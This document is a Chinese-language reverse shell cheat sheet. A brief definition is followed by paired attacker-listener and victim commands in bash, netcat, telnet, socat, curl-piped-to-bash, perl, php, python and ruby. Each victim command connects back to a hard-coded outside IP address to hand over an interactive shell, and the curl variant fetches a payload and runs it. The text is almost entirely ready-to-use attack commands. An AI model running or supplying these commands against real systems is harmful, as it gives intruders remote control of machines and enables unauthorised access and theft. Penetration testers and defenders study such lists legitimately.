一、反弹 shell 简介
反弹shell就是指由被控端(靶机/肉鸡)发起连接请求到主控端(攻击机),主控端需在被控端发起请求前提前进行端口监听,最终产生一个交互的会话过程就叫做反弹shell。
反弹shell适用于如下几个场景:局域网内,无法直接连接被控端;目标机器的IP不断改变;由于策略限制,对方机器只能发送请求,无法直接接收请求。
以下介绍下几种反弹shell的方式。
二、bash 反弹 shell
主控:nc -lvnp 8123
靶机:bash -i >& /dev/tcp/144.34.163.241/8123 0>&1
三、netcat 反弹 shell(由于nc的-e标志被禁用,需要监听两个端口)
主控:nc -lvnp 8123
主控:nc -lvnp 8124
靶机:nc 144.34.163.241 8123 | /usr/bin/bash | nc 144.34.163.241 8124
四、telnet 反弹 shell
主控:nc -lvpn 8123
靶机:mknod a p;telnet 144.34.163.241 8123 0<a | /usr/bin/bash 1<a
五、socket 反弹 shell
主控:socat TCP-LISTEN:8123 –
靶机:socat tcp-connect:144.34.163.241:8123 exec:'bash -li',pty,stderr,setsid,sigint,sane
六、curl 反弹 shell
主控:echo 'bash -c "bash -i >& /dev/tcp/144.34.163.241/8123 0>&1"' > index.html
主控:python -m SimpleHTTPServer 8080
主控:nc -lvnp 8123
靶机:curl http://144.34.163.241:8080/ | bash
七、perl 反弹 shell
主控:nc -lvnp 8123
靶机:perl -e 'use Socket;$i="144.34.163.241";$p=8123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/usr/bin/bash -i");};'
八、php 反弹 shell
主控:nc -lvnp 8123
靶机:php -r '$sock=fsockopen("144.34.163.241","8123");exec("/usr/bin/sh -i <&3 >&3 2>&3");'
九、python 反弹 shell
主控:nc -lvnp 8123
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("144.34.163.241",8123));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/usr/bin/sh","-i"]);'
十、ruby 反弹 shell
主控:nc -lvnp 8123
靶机:ruby -rsocket -e 'c=TCPSocket.new("144.34.163.241","8123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'